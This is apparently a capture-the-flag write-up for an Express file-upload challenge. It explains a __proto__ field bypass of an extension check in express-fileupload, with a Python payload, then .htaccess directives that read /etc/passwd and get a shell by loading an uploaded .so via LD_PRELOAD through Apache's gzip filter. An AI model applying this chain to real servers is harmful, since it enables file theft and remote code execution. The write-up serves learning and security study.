Don't you think it is a baby challenge?
Object.keys(req.files).forEach(function(key){
var filename = req.files[key].name.toLowerCase();
var position = filename.lastIndexOf('.');
if (position == -1) {
return next();
}
var ext = filename.substr(position);
var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld'];
if ( !allowexts.includes(ext) ){
res.status(400).send('Something error.');
return;
Object.keys would not list __proto__
attributes, so if you upload a file with __proto__
name field, it could not be checked by
this code.
In https://github.com/richardgirges/express-fileupload/blob/master/lib/utilities.js#L92
const buildFields = (instance, field, value) => {
// Do nothing if value is not set.
if (value === null || value === undefined) return instance;
instance = instance || {};
// Non-array fields
if (!instance[field]) {
instance[field] = value;
return instance;
}
// Array fields
if (instance[field] instanceof Array) {
instance[field].push(value);
} else {
instance[field] = [instance[field], value];Roman Burunkov, 3 years ago: • Forgot to add buildFields code
}
return instance;
};
__proto__
is an attribute of instance
, so finally, it would execute instance[field] = [instance[field], value];
, which make
req.files to be an array, you could access the file object by array index.
So this payload works and it won't crash the server, it is intended solution.
# from Sauercloud-pspaul
requests.post(url+'upload?formid=1', files={
'__proto__': ('payload.so', content),
'decoy': ('decoy', 'lel'),
})
It is because I wrote wrong codes, this challenge seems easier than intended, you could upload multiple files to bypass the check directly.
- read arbitrary files
upload a .htaccess
like this
ErrorDocument 404 %{file:/etc/passwd}
Then visit a non-exist path base on the directory, you could get the file contents of /etc/passwd
directly.
- get remote code execution
When you try to read /etc/apache2/apache.conf
, you will get this line ExtFilterDefine gzip mode=output cmd=/bin/gzip
.
It could compress the response contents and could be actived by .htaccess
file.
Then you could pass environment vars to /bin/gzip
command by setEnv
.
SetOutputFilter gzip
setEnv LD_PRELOAD /xxxxxx/evil.so
Upload your evil .so
files and enjoy your shell :)